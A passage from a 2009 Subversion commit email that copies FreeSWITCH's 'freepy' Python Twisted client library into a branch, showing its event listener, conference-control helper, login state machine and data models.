+        observers = self.event2observer.get(event_name, [])
+        observers.append(observer)
+        self.event2observer[event_name] = observers
+
+    def dispatch2observers(self, event_name, event_xml_str, event_dom):
+        """
+        called back by the underlying protocol upon receiving an
+        event from freeswitch.  Currently subclasses must explicitly
+        call this method from their eventReceived method for observers
+        to get the message.  TODO: move this call to FreeswitchEventListener
+        and use observer pattern instead of any subclassing.
+        """
+        observers = self.event2observer.get(event_name, [])
+        for observer in observers:
+            observer.eventReceived(event_name, event_xml_str, event_dom)
+        
+    def reset(self):
+        self.protocol = None
+        self.connection_deferred = None
+        
+    def connect(self):
+
+        if self.protocol:
+            # if we have a protocol object, we are connected (since we always
+            # null it upon any disconnection)
+            return defer.succeed(self.protocol)
+
+        #if self.connection_deferred:
+            # we are already connecting, return existing dfrd
+        #    return self.connection_deferred
+
+        # connect and automatically login after connection
+        if not self.connection_deferred:
+            self.connection_deferred = defer.Deferred()
+            self.connection_deferred.addCallback(self.dologin)
+            self.connection_deferred.addErrback(self.generalError)
+        reactor.connectTCP(self.host, self.port, self)
+        return self.connection_deferred
+
+    def conncb(self, protocol):
+        self.protocol = protocol
+        self.protocol.__dict__["factory"] = self
+        deferred2callback = self.connection_deferred
+        self.connection_deferred = None
+        deferred2callback.callback(self.protocol)
+
+
+    def generalError(self, failure):
+        print "General error: %s" % failure
+        return failure
+
+    def startedConnecting(self, connector):
+        pass
+    
+    def buildProtocol(self, addr):
+        return self.protoclass(self.conncb, self.discocb)
+    
+    def clientConnectionLost(self, connector, reason):
+        print "clientConnectionLost! conn=%s, reason=%s" % (connector,
+                                                            reason)
+        self.connection_deferred = None        
+        self.protocol = None
+    
+    def clientConnectionFailed(self, connector, reason):
+
+        if self.num_attempts < 10000:
+            self.num_attempts += 1            
+            print "Connection to %s:%s refused, retrying attempt #%s in " \
+                  "5 seconds" % (self.host, self.port, self.num_attempts)
+            return reactor.callLater(5, self.connect)
+        else:
+            print "clientConnectionFailed! conn=%s, reason=%s" % (connector,
+                                                                  reason)
+            print ("Retry attempts exhausted, total attempts: %s" % 
+                  self.num_attempts)
+            deferred2callback = self.connection_deferred
+            deferred2callback.errback(reason)
+
+    def discocb(self, reason):
+        print "disconnected.  reason: %s" % reason
+        self.protocol = None
+
+    def dologin(self, connectmsg):
+        return self.protocol.login(self.passwd)
+        
+
+def test1():
+    fel = FreeswitchEventListener
+    factory = FreeswitchEventListenerFactory(protoclass=fel,
+                                             host="127.0.0.1",
+                                             port=8021,
+                                             passwd="ClueCon")
+
+    def connected(result):
+        print "We connected, result: %s" % result
+        events=['sofia::register','sofia::expire']
+        factory.protocol.sniff_custom_events(output_type="xml", events=events)
+        #factory.protocol.sniff_all_events(output_type="xml")
+    
+    def failure(failure):
+        print "Failed to connect: %s" % failure
+        
+    d = factory.connect()
+    d.addCallbacks(connected, failure)
+    d.addErrback(failure)
+
+    reactor.run()    
+    
+if __name__=="__main__":
+    test1()
+

Deleted: freeswitch/branches/seven/scripts/python/freepy/fshelper.py

Copied: freeswitch/branches/seven/scripts/python/freepy/fshelper.py (from rev 14471, freeswitch/trunk/scripts/python/freepy/fshelper.py) (0 => 14472)


--- freeswitch/branches/seven/scripts/python/freepy/fshelper.py	                        (rev 0)
+++ freeswitch/branches/seven/scripts/python/freepy/fshelper.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,532 @@
+#!/usr/bin/env python
+
+""" 
+FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+
+Version: MPL 1.1
+
+The contents of this file are subject to the Mozilla Public License Version
+1.1 (the "License"); you may not use this file except in compliance with
+the License. You may obtain a copy of the License at
+http://www.mozilla.org/MPL/
+
+Software distributed under the License is distributed on an "AS IS" basis,
+WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+for the specific language governing rights and limitations under the
+License.
+
+The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+
+The Initial Developer of the Original Code is
+Anthony Minessale II <anthmct@yahoo.com>
+Portions created by the Initial Developer are Copyright (C)
+the Initial Developer. All Rights Reserved.
+
+Contributor(s): Traun Leyden <tleyden@branchcut.com>
+"""
+
+
+from twisted.internet import reactor, defer
+from twisted.internet.protocol import ClientFactory
+import freepy
+
+class FsHelper(ClientFactory):
+
+    def __init__(self, host=None, passwd=None, port=None):
+        if host:
+            self.host = host
+        if passwd:
+            self.passwd = passwd
+        if port:
+            self.port = port        
+            
+        self.freepyd = None
+        self.connection_deferred = None
+
+    def reset(self):
+        self.freepyd = None
+        self.connection_deferred = None
+        
+    def connect(self):
+            
+        if self.freepyd:
+            # if we have a protocol object, we are connected (since we always
+            # null it upon any disconnection)
+            return defer.succeed("Connected")
+
+        if self.connection_deferred:
+            # we are already connecting, return existing dfrd
+            return self.connection_deferred
+        
+        self.connection_deferred = defer.Deferred()
+        self.connection_deferred.addCallback(self.dologin)
+        self.connection_deferred.addErrback(self.generalError)
+        print "freepy connecting to %s:%s" % (self.host, self.port)
+        reactor.connectTCP(self.host, self.port, self)
+        return self.connection_deferred
+
+    def conncb(self, freepyd):
+        self.freepyd = freepyd
+        deferred2callback = self.connection_deferred
+        self.connection_deferred = None
+        deferred2callback.callback("Connected")
+
+
+    def generalError(self, failure):
+        print "General error: %s" % failure
+        return failure
+
+    def startedConnecting(self, connector):
+        pass
+    
+    def buildProtocol(self, addr):
+        return freepy.FreepyDispatcher(self.conncb, self.discocb)
+    
+    def clientConnectionLost(self, connector, reason):
+        print "clientConnectionLost! conn=%s, reason=%s" % (connector,
+                                                            reason)
+        self.connection_deferred = None        
+        self.freepyd = None
+    
+    def clientConnectionFailed(self, connector, reason):
+        print "clientConnectionFailed! conn=%s, reason=%s" % (connector,
+                                                              reason)
+        self.freepyd = None
+        deferred2callback = self.connection_deferred
+        self.connection_deferred = None                
+        deferred2callback.errback(reason)
+
+    def discocb(self, reason):
+        print "disconnected.  reason: %s" % reason
+        self.freepyd = None
+
+    def dologin(self, connectmsg):
+        return self.freepyd.login(self.passwd)                                     
+
+    def originate(self, party2dial, dest_ext_app, bgapi=True):
+        """
+        party2dial - the first argument to the originate command,
+                     eg, sofia/profile_name/1234@domain.com
+        dest_ext_app - the second argument to the originate command,
+                       eg, &park() or 4761
+        returns - a deferred that will be called back with a result
+                  like:
+
+                  ([(True, 'Reply-Text: +OK Job-UUID: d07ad7de-2406-11dc-aea3-e3b2e56b7a2c')],)
+
+        """
+
+        def originate_inner(ignored):
+            deferreds = []
+            deferred = self.freepyd.originate(party2dial,
+                                              dest_ext_app,
+                                              bgapi)
+            return deferred
+
+        d = self.connect()
+        d.addCallback(originate_inner)
+        return d
+
+
+
+
+    def dialconf(self, people2dial, conf_name, bgapi=True):
+        """
+        conf_name - name of conf TODO: change to match db
+        people2dial - an array of dictionaries:
+                     'name': name
+                     'number': number
+        returns - a deferred that will be called back with a result
+                  like:
+
+                  ([(True, 'Reply-Text: +OK Job-UUID: d07ad7de-2406-11dc-aea3-e3b2e56b7a2c')],)
+
+                  Its a bit ugly because its a deferred list callback.
+
+        """
+
+        def dialconf_inner(ignored):
+            deferreds = []
+            for person2dial in people2dial:
+                sofia_url = person2dial['number']
+                deferred = self.freepyd.confdialout(conf_name,
+                                                    sofia_url,
+                                                    bgapi)
+                deferreds.append(deferred)
+            return defer.DeferredList(deferreds)
+
+        d = self.connect()
+        d.addCallback(dialconf_inner)
+        return d
+
+    def listconf(self, conf_name):
+        """
+        conf_name - name of conf 
+        returns - a deferred that will be called back with a result
+                  like:
+
+                  TODO: add this
+        """
+        def listconf_inner(ignored):
+            deferred = self.freepyd.listconf(conf_name)
+            return deferred
+
+        d = self.connect()
+        d.addCallback(listconf_inner)
+        return d
+
+    def confkick(self, member_id, conf_name, bgapi=True):
+        """
+        conf_name - name of conf
+        member_id - member id of user to kick, eg, "7"
+        returns - a deferred that will be called back with a result
+                  like:
+
+                  TODO: add this
+        """
+        def confkick_inner(ignored):
+            #if type(member_id) == type(""):
+            #    member_id = int(member_id)
+            deferred = self.freepyd.confkick(member_id, conf_name, bgapi)
+            return deferred
+
+        d = self.connect()
+        d.addCallback(confkick_inner)
+        return d
+
+    def confdtmf(self, member_id, conf_name, dtmf, bgapi=True):
+        """
+        Send dtmf(s) to a conference
+        conf_name - name of conf
+        member_id - member id of user to kick, eg, "7", or "all"
+        dtmf - a single dtmf or a string of dtms, eg "1" or "123"
+        returns - a deferred that will be called back with a result
+                  like:
+
+                  TODO: add this
+        """
+        def confdtmf_inner(ignored):
+            print "confdtmf_inner called"
+            deferred = self.freepyd.confdtmf(member_id, conf_name, dtmf, bgapi)
+            return deferred
+
+        d = self.connect()
+        d.addCallback(confdtmf_inner)
+        return d
+
+
+    def confsay(self, conf_name, text2speak, bgapi=True):
+        """
+        conf_name - name of conf
+        text2speak - text to speak
+        returns - a deferred that will be called back with a result
+                  like:
+
+                  TODO: add this
+        """
+        def confsay_inner(ignored):
+            deferred = self.freepyd.confsay(conf_name, text2speak, bgapi)
+            return deferred
+
+        d = self.connect()
+        d.addCallback(confsay_inner)
+        return d
+
+    def confplay(self, conf_name, snd_url, bgapi=True):
+        """
+        conf_name - name of conf
+        snd_url - url to sound file
+        returns - a deferred that will be called back with a result
+                  like:
+
+                  TODO: add this
+        """
+        def confplay_inner(ignored):
+            deferred = self.freepyd.confplay(conf_name, snd_url, bgapi)
+            return deferred
+
+        d = self.connect()
+        d.addCallback(confplay_inner)
+        return d
+
+    def confstop(self, conf_name, bgapi=True):
+        """
+        stop playback of all sounds
+        
+        conf_name - name of conf
+        returns - a deferred that will be called back with a result
+                  like:
+
+                  TODO: add this
+        """
+        def confstop_inner(ignored):
+            deferred = self.freepyd.confstop(conf_name, bgapi)
+            return deferred
+
+        d = self.connect()
+        d.addCallback(confstop_inner)
+        return d
+
+
+    def showchannels(self, bgapi=True):
+
+        def showchannels_inner(ignored):
+            df = self.freepyd.showchannels(bgapi)
+            return df
+
+        d = self.connect()
+        d.addCallback(showchannels_inner)
+        return d
+
+    def killchan(self, uuid, bgapi=True):
+
+        def killchan_inner(ignored):
+            df = self.freepyd.killchan(uuid, bgapi)
+            return df
+
+        d = self.connect()
+        d.addCallback(killchan_inner)
+        return d
+
+
+    def broadcast(self, uuid, path, legs="both", bgapi=True):
+        """
+        @legs - one of the following strings: aleg|bleg|both 
+        """
+        def broadcast_inner(ignored):
+            df = self.freepyd.broadcast(uuid, path, legs, bgapi)
+            return df
+
+        d = self.connect()
+        d.addCallback(broadcast_inner)
+        return d
+
+    def transfer(self, uuid, dest_ext, legs="-both", bgapi=True):
+        """
+        @legs -bleg|-both
+        """
+        def transfer_inner(ignored):
+            df = self.freepyd.transfer(uuid, dest_ext, legs, bgapi)
+            return df
+
+        d = self.connect()
+        d.addCallback(transfer_inner)
+        return d
+
+    def sofia_profile_restart(self, profile_name, bgapi=True):
+
+        def sofia_profile_restart_inner(ignored):
+            df = self.freepyd.sofia_profile_restart(profile_name,
+                                                    bgapi)
+            return df
+
+        d = self.connect()
+        d.addCallback(sofia_profile_restart_inner)
+        return d
+
+
+    def sofia_status_profile(self, profile_name, bgapi=True):
+
+        def sofia_status_profile_inner(ignored):
+            df = self.freepyd.sofia_status_profile(profile_name,
+                                                    bgapi)
+            return df
+
+        d = self.connect()
+        d.addCallback(sofia_status_profile_inner)
+        return d
+
+
+class FsHelperTest:
+    def __init__(self, fshelper):
+        self.fshelper=fshelper
+        pass
+
+    def test_dialconf(self):
+
+        # the following parties will be dialed out from the conference
+        # called "freeswitch" on the local freeswitch instance.
+        # one party is actually another conference, just to make
+        # the example more confusing.
+        people2dial = [{'name':'freeswitch',
+                        'number':'888@conference.freeswitch.org'},
+                       {'name':'mouselike',
+                        'number':'904@mouselike.org'}]
+        d = self.fshelper.dialconf(people2dial, "freeswitch", bgapi=False)
+        def failed(error):
+            print "Failed to dial users!"
+            reactor.stop()
+            return error
+        d.addErrback(failed)
+        def worked(*args):
+            print "Worked! Dialed user result: %s" % str(args)
+        d.addCallback(worked)        
+        return d
+
+    def test_listconf(self):
+
+        d = self.fshelper.listconf("freeswitch")
+        def failed(failure):
+            print "Failed to list users!"
+            reactor.stop()
+            return failure
+        d.addErrback(failed)
+        def worked(*args):
+            print "List of users in conf: %s" % str(args)
+            return args[0]
+        d.addCallback(worked)
+        return d
+
+    def test_confkick(self, member_id="6", conf_name="freeswitch"):
+
+        d = self.fshelper.confkick(member_id, conf_name)
+        def failed(failure):
+            print "Failed to kick user!"
+            reactor.stop()
+            return failure
+        d.addErrback(failed)
+        def worked(*args):
+            print "Kicked user from conf, result: %s" % str(args)
+        d.addCallback(worked)
+        
+
+def test1():
+    kick_everyone = False
+    fshelper = FsHelper(host="127.0.0.1",
+                        passwd="ClueCon",
+                        port=8021)
+    fsht = FsHelperTest(fshelper)
+    fsht.test_dialconf()
+    d = fsht.test_listconf()
+    def kickeveryone(members):
+        print "Kickeveryone called w/ %s (type: %s)" % (members,
+                                                        type(members))
+        for member in members:
+            fsht.test_confkick(member.member_id)
+
+    def failed(failure):
+        print "failed: %s" % str(failure)
+        reactor.stop()
+    if kick_everyone:
+        d.addCallback(kickeveryone)        
+        d.addErrback(failed)
+    #fsht.test_confkick()
+    #d = fshelper.connect()
+    #def connected(*args):
+    #    fsht.test_dialconf()
+    #    fsht.test_listconf()
+    #d.addCallback(connected)
+    reactor.run()
+
+def test2():
+    fshelper = FsHelper(host="127.0.0.1",
+                        passwd="ClueCon",
+                        port=8021)    
+    fshelper.sofia_profile_restart("mydomain.com")
+    reactor.run()    
+
+def test3():
+    fshelper = FsHelper(host="127.0.0.1",
+                        passwd="ClueCon",
+                        port=8021)        
+    print "Calling originate.."
+    party2dial="sofia/foo/600@192.168.1.202:5080"
+    d = fshelper.originate(party2dial=party2dial,
+                           dest_ext_app="101",
+                           bgapi=True)
+
+    def worked(result):
+        print "Originate succeeded: %s" % result
+        reactor.stop()
+        
+    def failed(failure):
+        print "failed: %s" % str(failure)
+        reactor.stop()
+        
+    d.addCallback(worked)
+    d.addErrback(failed)
+    reactor.run()    
+
+
+def test4():
+    fshelper = FsHelper(host="127.0.0.1",
+                        passwd="ClueCon",
+                        port=8021)        
+
+    def worked(result):
+        print "Originate succeeded: %s" % result
+        #reactor.stop()
+        
+    def failed(failure):
+        print "failed: %s" % str(failure)
+        #reactor.stop()
+
+
+    dest_ext_app = "101"
+    party2dial="sofia/foo/600@192.168.1.202:5080"
+    d = fshelper.originate(party2dial=party2dial,
+                           dest_ext_app=dest_ext_app,
+                           bgapi=True)
+    d.addCallback(worked)
+    d.addErrback(failed)
+    party2dial="sofia/foo/someone@bar.com"    
+    d2 = fshelper.originate(party2dial=party2dial,
+                            dest_ext_app=dest_ext_app,
+                            bgapi=True)
+        
+    d2.addCallback(worked)
+    d2.addErrback(failed)
+    reactor.run()    
+
+
+def test5():
+    fshelper = FsHelper(host="127.0.0.1",
+                        passwd="ClueCon",
+                        port=8021)        
+
+    def worked(result):
+        print "Originate succeeded: %s" % result
+        #reactor.stop()
+        
+    def failed(failure):
+        print "failed: %s" % str(failure)
+        #reactor.stop()
+
+    for i in xrange(20):
+
+        party2dial="sofia/foo/600@192.168.1.202:5080"
+        d = fshelper.originate(party2dial=party2dial,
+                               dest_ext_app="700",
+                               bgapi=True)
+        d.addCallback(worked)
+        d.addErrback(failed)
+
+    reactor.run()    
+
+def test6():
+    """
+    show channels for a given sofia profile
+    """
+    fshelper = FsHelper(host="127.0.0.1",
+                        passwd="ClueCon",
+                        port=8021)
+    from wikipbx import channelsutil
+    def show_chanels(raw_xml):
+        print raw_xml
+    
+    def failure(failure):
+        print failure
+        
+    d = fshelper.showchannels(bgapi=False)
+    d.addCallback(show_chanels)
+    d.addErrback(failure)
+    reactor.run()
+                                                                            
+
+if __name__=="__main__":
+    #test1()
+    #test2()
+    #test3()
+    test4()
+    #test5()

Deleted: freeswitch/branches/seven/scripts/python/freepy/globals.py

Copied: freeswitch/branches/seven/scripts/python/freepy/globals.py (from rev 14471, freeswitch/trunk/scripts/python/freepy/globals.py) (0 => 14472)


--- freeswitch/branches/seven/scripts/python/freepy/globals.py	                        (rev 0)
+++ freeswitch/branches/seven/scripts/python/freepy/globals.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,14 @@
+
+import os
+
+if os.environ.has_key('FREEPY_DEBUG_ON'):
+    # pull from environment if avail
+    FREEPY_DEBUG_ON = os.environ['FREEPY_DEBUG_ON']
+else:
+    # fall back to hardcoded value
+    #FREEPY_DEBUG_ON = False
+    FREEPY_DEBUG_ON = True
+
+def debug(msg):
+    if FREEPY_DEBUG_ON:
+        print msg    

Deleted: freeswitch/branches/seven/scripts/python/freepy/loginrequest.sm

Copied: freeswitch/branches/seven/scripts/python/freepy/loginrequest.sm (from rev 14471, freeswitch/trunk/scripts/python/freepy/loginrequest.sm) (0 => 14472)


--- freeswitch/branches/seven/scripts/python/freepy/loginrequest.sm	                        (rev 0)
+++ freeswitch/branches/seven/scripts/python/freepy/loginrequest.sm	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,92 @@
+%start MainMap::Startup
+%class LoginRequest
+
+%map MainMap
+%%
+
+Startup
+{
+        AuthRequest
+                AuthRequestStarted
+                {
+                }
+}
+
+AuthRequestStarted
+{
+        BlankLine
+                AuthRequestFinished
+                {
+                }
+
+}
+
+AuthRequestFinished
+{
+        CommandReply
+                CommandReplyStarted
+                {
+                }
+
+}
+
+CommandReplyStarted
+{
+        ReplyText
+                GotReplyText
+                {
+                }
+
+}
+
+
+GotReplyText
+{
+        BlankLine
+		Startup                
+                {
+		setRequestFinished(); callOrErrback();		
+                }
+
+}
+
+
+Default
+{
+    	BlankLine			
+		nil			
+		{ 
+		setRequestFinished();
+		errbackDeferred("Protocol failure - Was not expecting a blank line");		
+		}
+
+    	AuthRequest			
+		nil			
+		{ 
+		setRequestFinished();
+		errbackDeferred("Protocol failure - Was not expecting auth request");		
+		}
+
+    	CommandReply			
+		nil			
+		{ 
+		setRequestFinished();
+		errbackDeferred("Protocol failure - was not expecting a command reply");		
+		}
+
+    	ReplyText			
+		nil			
+		{ 
+		setRequestFinished();
+		errbackDeferred("Protocol failure - was not expecting reply text");		
+		}
+
+        ProcessLine(line)
+		nil			
+		{ 
+		setRequestFinished();
+		errbackDeferred("Protocol failure - was not expecting need to receive a line that needs to be processed");		
+		}
+
+}
+%%
\ No newline at end of file

Deleted: freeswitch/branches/seven/scripts/python/freepy/loginrequest_sm.py

Copied: freeswitch/branches/seven/scripts/python/freepy/loginrequest_sm.py (from rev 14471, freeswitch/trunk/scripts/python/freepy/loginrequest_sm.py) (0 => 14472)


--- freeswitch/branches/seven/scripts/python/freepy/loginrequest_sm.py	                        (rev 0)
+++ freeswitch/branches/seven/scripts/python/freepy/loginrequest_sm.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,210 @@
+# DO NOT EDIT.
+# generated by smc (http://smc.sourceforge.net/)
+# from file : loginrequest.sm
+
+import statemap
+
+
+class LoginRequestState(statemap.State):
+
+    def Entry(self, fsm):
+        pass
+
+    def Exit(self, fsm):
+        pass
+
+    def AuthRequest(self, fsm):
+        self.Default(fsm)
+
+    def BlankLine(self, fsm):
+        self.Default(fsm)
+
+    def CommandReply(self, fsm):
+        self.Default(fsm)
+
+    def ProcessLine(self, fsm, line):
+        self.Default(fsm)
+
+    def ReplyText(self, fsm):
+        self.Default(fsm)
+
+    def Default(self, fsm):
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write('TRANSITION   : Default\n')
+        msg = "\n\tState: %s\n\tTransition: %s" % (
+            fsm.getState().getName(), fsm.getTransition())
+        raise statemap.TransitionUndefinedException, msg
+
+class MainMap_Default(LoginRequestState):
+
+    def BlankLine(self, fsm):
+        ctxt = fsm.getOwner()
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.Default.BlankLine()\n")
+
+        endState = fsm.getState()
+        fsm.clearState()
+        try:
+            ctxt.setRequestFinished()
+            ctxt.errbackDeferred("Protocol failure - Was not expecting a blank line")
+        finally:
+            fsm.setState(endState)
+
+    def AuthRequest(self, fsm):
+        ctxt = fsm.getOwner()
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.Default.AuthRequest()\n")
+
+        endState = fsm.getState()
+        fsm.clearState()
+        try:
+            ctxt.setRequestFinished()
+            ctxt.errbackDeferred("Protocol failure - Was not expecting auth request")
+        finally:
+            fsm.setState(endState)
+
+    def CommandReply(self, fsm):
+        ctxt = fsm.getOwner()
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.Default.CommandReply()\n")
+
+        endState = fsm.getState()
+        fsm.clearState()
+        try:
+            ctxt.setRequestFinished()
+            ctxt.errbackDeferred("Protocol failure - was not expecting a command reply")
+        finally:
+            fsm.setState(endState)
+
+    def ReplyText(self, fsm):
+        ctxt = fsm.getOwner()
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.Default.ReplyText()\n")
+
+        endState = fsm.getState()
+        fsm.clearState()
+        try:
+            ctxt.setRequestFinished()
+            ctxt.errbackDeferred("Protocol failure - was not expecting reply text")
+        finally:
+            fsm.setState(endState)
+
+    def ProcessLine(self, fsm, line):
+        ctxt = fsm.getOwner()
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.Default.ProcessLine(line)\n")
+
+        endState = fsm.getState()
+        fsm.clearState()
+        try:
+            ctxt.setRequestFinished()
+            ctxt.errbackDeferred("Protocol failure - was not expecting need to receive a line that needs to be processed")
+        finally:
+            fsm.setState(endState)
+
+class MainMap_Startup(MainMap_Default):
+
+    def AuthRequest(self, fsm):
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.Startup.AuthRequest()\n")
+
+        fsm.getState().Exit(fsm)
+        fsm.setState(MainMap.AuthRequestStarted)
+        fsm.getState().Entry(fsm)
+
+class MainMap_AuthRequestStarted(MainMap_Default):
+
+    def BlankLine(self, fsm):
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.AuthRequestStarted.BlankLine()\n")
+
+        fsm.getState().Exit(fsm)
+        fsm.setState(MainMap.AuthRequestFinished)
+        fsm.getState().Entry(fsm)
+
+class MainMap_AuthRequestFinished(MainMap_Default):
+
+    def CommandReply(self, fsm):
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.AuthRequestFinished.CommandReply()\n")
+
+        fsm.getState().Exit(fsm)
+        fsm.setState(MainMap.CommandReplyStarted)
+        fsm.getState().Entry(fsm)
+
+class MainMap_CommandReplyStarted(MainMap_Default):
+
+    def ReplyText(self, fsm):
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.CommandReplyStarted.ReplyText()\n")
+
+        fsm.getState().Exit(fsm)
+        fsm.setState(MainMap.GotReplyText)
+        fsm.getState().Entry(fsm)
+
+class MainMap_GotReplyText(MainMap_Default):
+
+    def BlankLine(self, fsm):
+        ctxt = fsm.getOwner()
+        if fsm.getDebugFlag() == True:
+            fsm.getDebugStream().write("TRANSITION   : MainMap.GotReplyText.BlankLine()\n")
+
+        fsm.getState().Exit(fsm)
+        fsm.clearState()
+        try:
+            ctxt.setRequestFinished()
+            ctxt.callOrErrback()
+        finally:
+            fsm.setState(MainMap.Startup)
+            fsm.getState().Entry(fsm)
+
+class MainMap:
+
+    Startup = MainMap_Startup('MainMap.Startup', 0)
+    AuthRequestStarted = MainMap_AuthRequestStarted('MainMap.AuthRequestStarted', 1)
+    AuthRequestFinished = MainMap_AuthRequestFinished('MainMap.AuthRequestFinished', 2)
+    CommandReplyStarted = MainMap_CommandReplyStarted('MainMap.CommandReplyStarted', 3)
+    GotReplyText = MainMap_GotReplyText('MainMap.GotReplyText', 4)
+    Default = MainMap_Default('MainMap.Default', -1)
+
+class LoginRequest_sm(statemap.FSMContext):
+
+    def __init__(self, owner):
+        statemap.FSMContext.__init__(self)
+        self._owner = owner
+        self.setState(MainMap.Startup)
+        MainMap.Startup.Entry(self)
+
+    def AuthRequest(self):
+        self._transition = 'AuthRequest'
+        self.getState().AuthRequest(self)
+        self._transition = None
+
+    def BlankLine(self):
+        self._transition = 'BlankLine'
+        self.getState().BlankLine(self)
+        self._transition = None
+
+    def CommandReply(self):
+        self._transition = 'CommandReply'
+        self.getState().CommandReply(self)
+        self._transition = None
+
+    def ProcessLine(self, *arglist):
+        self._transition = 'ProcessLine'
+        self.getState().ProcessLine(self, *arglist)
+        self._transition = None
+
+    def ReplyText(self):
+        self._transition = 'ReplyText'
+        self.getState().ReplyText(self)
+        self._transition = None
+
+    def getState(self):
+        if self._state == None:
+            raise statemap.StateUndefinedException
+        return self._state
+
+    def getOwner(self):
+        return self._owner
+

Deleted: freeswitch/branches/seven/scripts/python/freepy/models.py

Copied: freeswitch/branches/seven/scripts/python/freepy/models.py (from rev 14471, freeswitch/trunk/scripts/python/freepy/models.py) (0 => 14472)


--- freeswitch/branches/seven/scripts/python/freepy/models.py	                        (rev 0)
+++ freeswitch/branches/seven/scripts/python/freepy/models.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,81 @@
+""" 
+FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+
+Version: MPL 1.1
+
+The contents of this file are subject to the Mozilla Public License Version
+1.1 (the "License"); you may not use this file except in compliance with
+the License. You may obtain a copy of the License at
+http://www.mozilla.org/MPL/
+
+Software distributed under the License is distributed on an "AS IS" basis,
+WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+for the specific language governing rights and limitations under the
+License.
+
+The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+
+The Initial Developer of the Original Code is
+Anthony Minessale II <anthmct@yahoo.com>
+Portions created by the Initial Developer are Copyright (C)
+the Initial Developer. All Rights Reserved.
+
+Contributor(s): Traun Leyden <tleyden@branchcut.com>
+"""
+ 
+"""
+Data models for objects inside freeswitch
+"""
+
+import re
+
+class ConfMember:
+
+    def __init__(self, rawstring):
+        self.rawstring = rawstring
+        self.member_id = None
+        self.member_uri = None
+        self.uuid = None
+        self.caller_id_name = None
+        self.caller_id_number = None
+        self.flags = None
+        self.volume_in = None
+        self.volume_out = None
+        self.energy_level = None
+
+        self.parse(self.rawstring)
+        
+    def parse(self, rawstring):
+        """
+        1;sofia/mydomain.com/user@somewhere.com;898e6552-24ab-11dc-9df7-9fccd4095451;FreeSWITCH;0000000000;hear|speak;0;0;300
+        """
+        fields = rawstring.split(";")
+        self.member_id = fields[0]
+        self.member_uri = fields[1]
+        self.uuid = fields[2]
+        self.caller_id_name = fields[3]
+        self.caller_id_number = fields[4]
+        self.flags = fields[5]
+        self.volume_in = fields[6]
+        self.volume_out = fields[7]
+        self.energy_level = fields[8]
+
+    def brief_member_uri(self):
+        """
+        if self.member_uri is sofia/mydomain.com/foo@bar.com
+        return foo@bar.com
+        """
+        if not self.member_uri:
+            return None
+
+        if self.member_uri.find("/") == -1:
+            return self.member_uri
+        r = self.member_uri.split("/")[-1]  # tokenize on "/" and return last item
+        return r
+
+    def __repr__(self):
+        return self.__str__()
+    
+    def __str__(self):
+        return "%s (%s)" % (self.member_id, self.member_uri)

Deleted: freeswitch/branches/seven/scripts/python/freepy/request.py

Copied: freeswitch/branches/seven/scripts/python/freepy/request.py (from rev 14471, freeswitch/trunk/scripts/python/freepy/request.py) (0 => 14472)


--- freeswitch/branches/seven/scripts/python/freepy/request.py	                        (rev 0)
+++ freeswitch/branches/seven/scripts/python/freepy/request.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,364 @@
+""" 
+FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+
+Version: MPL 1.1
+
+The contents of this file are subject to the Mozilla Public License Version
+1.1 (the "License"); you may not use this file except in compliance with
+the License. You may obtain a copy of the License at
+http://www.mozilla.org/MPL/
+
+Software distributed under the License is distributed on an "AS IS" basis,
+WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+for the specific language governing rights and limitations under the
+License.
+
+The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+
+The Initial Developer of the Original Code is
+Anthony Minessale II <anthmct@yahoo.com>
+Portions created by the Initial Developer are Copyright (C)
+the Initial Developer. All Rights Reserved.
+
+Contributor(s): Traun Leyden <tleyden@branchcut.com>
+"""
+
+import sys
+
+from twisted.internet import reactor, defer
+from twisted.protocols.basic import LineReceiver
+from twisted.internet.protocol import Protocol, ClientFactory
+from twisted.python import failure
+from twisted.python.failure import Failure
+import time, re
+from time import strftime
+from Queue import Queue
+
+from freepy import models
+import freepy.globals
+from freepy.globals import debug
+
+"""
+These are response handlers for different types of requests.
+It reads the response from freeswitch, and calls back
+self.deferred with the result.
+
+The naming could be improved, but here is the translation:
+
+LoginRequest - Response handler for a login request
+
+"""
+
+
+class FreepyRequest(object):
+
+    def __init__(self):
+        self.deferred = defer.Deferred()
+        self.response_content = ""
+        self.finished = False
+
+    def isRequestFinished(self):
+        return self.finished
+
+    def setRequestFinished(self):
+        debug("setRequestFinished called.  response_content: %s " %
+              self.response_content)
+        self.finished = True
+        
+    def getDeferred(self):
+        return self.deferred
+
+    def callbackDeferred(self, cbval):
+        self.deferred.callback(cbval)
+
+    def errbackDeferred(self, result):
+        self.deferred.errback(Exception(str(result)))
+
+    def process(self, line):
